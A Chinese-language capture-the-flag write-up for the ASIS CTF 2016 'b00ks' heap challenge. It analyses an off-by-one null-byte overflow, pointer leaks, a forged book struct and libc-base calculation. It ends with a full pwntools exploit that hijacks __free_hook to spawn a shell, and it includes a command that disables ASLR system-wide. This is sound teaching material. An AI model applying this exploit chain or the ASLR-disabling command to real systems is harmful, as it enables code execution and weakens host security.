asis-ctf-2016 b00ks (off-by-one)

2016 asis ctf b00ks

考察点 off-by-one, mmap分配和libc基址偏移,
思路是利用单字节溢出漏洞覆盖地址最后一位让其落在可控制区域,这样就可以利用程序功能实现任意地址读写(构造合适的数据结构),最后通过__free_hook来获取shell

题目分析

题目是一个常见的菜单式程序,功能是一个图书管理系统,提供了创建、删除、编辑、打印图书等功能:
asis-ctf-2016 b00ks (off-by-one)

asis-ctf-2016 b00ks (off-by-one)

通过分析,关键结构体book_struct如下

asis-ctf-2016 b00ks (off-by-one)

漏洞分析

程序中用于读取输入的read_input()函数(函数名字已重命名)存在off-by-one漏洞,当输入数据的长度正好为a2时,会向buf中越界写入一个字节\x00

signed __int64 __fastcall read_input(void *a1, int a2)
{
  // ...
  if ( a2 > 0 )
  {
    buf = a1;
    for ( i = 0; ; ++i )
    {
      if ( (unsigned int)read(0, buf, 1uLL) != 1 )
        return 1LL;
      if ( *(_BYTE *)buf == 10 )
        break;
      buf = (char *)buf + 1;
      if ( i == a2 )
        break;
    }
    *(_BYTE *)buf = 0;
    result = 0LL;
  }
  // ...
}

信息泄露漏洞

由于author_name_ptrglobal_book_struct_array之间正好相差32个字节,当输入的author_name长度为32时,会向author_name_ptr中越界写入一个字节\x00。之后,在创建book_struct时,会将其地址保存在global_book_struct_array中,覆盖之前的字符串截断符\x00。因此,通过打印author_name可以实现信息信泄露。

off-by-one漏洞

通过修改author_name可以向author_name_ptr中越界写入一个字节\x00,这样会覆盖global_book_struct_array中保存的第一个book_struct的地址。

漏洞利用

主要思想如下:创建2个book,通过单字节溢出,使得book1_struct指针指向book1_description中;然后在book1_description中伪造一个book1_struct,使得其中的book1_description_ptr指向book2_description_ptr;通过先后修改book1_descriptionbook2_description,从而实现任意地址写任意内容的功能。

为了方便调试,临时禁用了系统的地址随机化功能:echo 0 > /proc/sys/kernel/randomize_va_space

创建book

book1的description的大小要尽量大一点(如140),保证当单字节溢出后book1_struct指针落在book1的description中,从而对其可控,为后续伪造book1_struct打下基础。book2的description的大小越大越好(如0x21000),这样会通过mmap()函数去分配堆空间,而该堆地址与libc的基址相关,这样通过泄露该堆地址可以计算出libc的基址。

global_book_strcut_array(0x555555756060)中可以看到,当发生null byte溢出时,book1_struct的指针变为0x555555758100,正好落在book1_description的范围内。

伪造book1_struct

为了使得伪造的book1_description_ptr指向book2_description_ptr,需要先知道book2_struct的地址,可以通过打印author_name从而泄露得到该地址。

之后通过修改book1_description,伪造一个book1_struct。可以看到book1_description_ptr已经指向了book2_name_ptr。(通过+8就能指向book2_description_ptr)

空字节覆盖

修改author_name,覆盖global_book_struct_array中保存的第一个book_struct 指针。之后通过打印book可以泄露得到book2_name_ptr, 从而得到该地址与libc基址之间的偏移。

获取shell

通过先后修改book1_descriptionbook2_description,可以实现任意地址写任意内容的功能。由于该程序启用了FULL RELRO保护措施,无法对GOT进行改写,但是可以改写__free_hook__malloc_hook

结合前面泄露的book2_name_ptr和计算得到的偏移,可以计算出libc的基址,进一步可得到__free_hooksystem函数运行时的地址,以及libc中字符串”/bin/sh”的地址。之后将__free_hook指向的内容修改为system的地址,在调用free函数时,由于__free_hook里面的内容不为NULL,从而执行指向的指令。

#!/usr/bin/env python

from pwn import *

context(log_level='debug', os='linux')

def create_book(target, name_size, book_name, desc_size, book_desc):
    target.recv()
    target.sendline('1')
    target.sendlineafter('Enter book name size: ', str(name_size))
    target.sendlineafter('Enter book name (Max 32 chars): ', book_name)
    target.sendlineafter('Enter book description size: ', str(desc_size))
    target.sendlineafter('Enter book description: ', book_desc)

def delete_book(target, book_id):
    target.recv()
    target.sendline('2')
    target.sendlineafter('Enter the book id you want to delete: ', str(book_id))

def edit_book(target, book_id, book_desc):
    target.recv()
    target.sendline('3')
    target.sendlineafter('Enter the book id you want to edit: ', str(book_id))
    target.sendlineafter('Enter new book description: ', book_desc)

def print_book(target):
    target.recvuntil('>')
    target.sendline('4')

def change_author_name(target, name):
    target.recv()
    target.sendline('5')
    target.sendlineafter('Enter author name: ', name)

def input_author_name(target, name):
    target.sendlineafter('Enter author name: ', name)

DEBUG = 0
LOCAL = 1

if LOCAL:
    target = process('./b00ks')
else:
    target = remote('127.0.0.1', 5678)

libc = ELF('./libc.so.6')
# used for debug
image_base = 0x555555554000

if DEBUG:
    pwnlib.gdb.attach(target, 'b *%d\nc\n' % (image_base+0x1245))

input_author_name(target, 'a'*32)
create_book(target, 140 ,'book_1', 140, 'first book created')

# leak boo1_struct addr
print_book(target)
target.recvuntil('a'*32)
temp = target.recvuntil('\x0a')
book1_struct_addr = u64(temp[:-1].ljust(8, '\x00'))
book2_struct_addr = book1_struct_addr + 0x30

create_book(target, 0x21000, 'book_2', 0x21000, 'second book create')

# fake book1_struct
payload = 'a' * 0x40 + p64(1) + p64(book2_struct_addr + 8) * 2 + p64(0xffff)
edit_book(target, 1, payload)

change_author_name(target, 'a'*32)
# leak book2_name ptr
print_book(target)

target.recvuntil('Name: ')
temp = target.recvuntil('\x0a')
book2_name_ptr = u64(temp[:-1].ljust(8, '\x00'))

# find in debug: mmap_addr - libcbase
offset =  0x7ffff7fd2010 - 0x7ffff7a0d000
libcbase = book2_name_ptr - offset

free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase

payload = p64(binsh_addr) + p64(free_hook)
edit_book(target, 1, payload)

payload = p64(system)
edit_book(target, 2, payload)

delete_book(target, 2)
target.interactive()

本文章首发在 网安wangan.com 网站上。

上一篇 下一篇
讨论数量: 0
只看当前版本


暂无话题~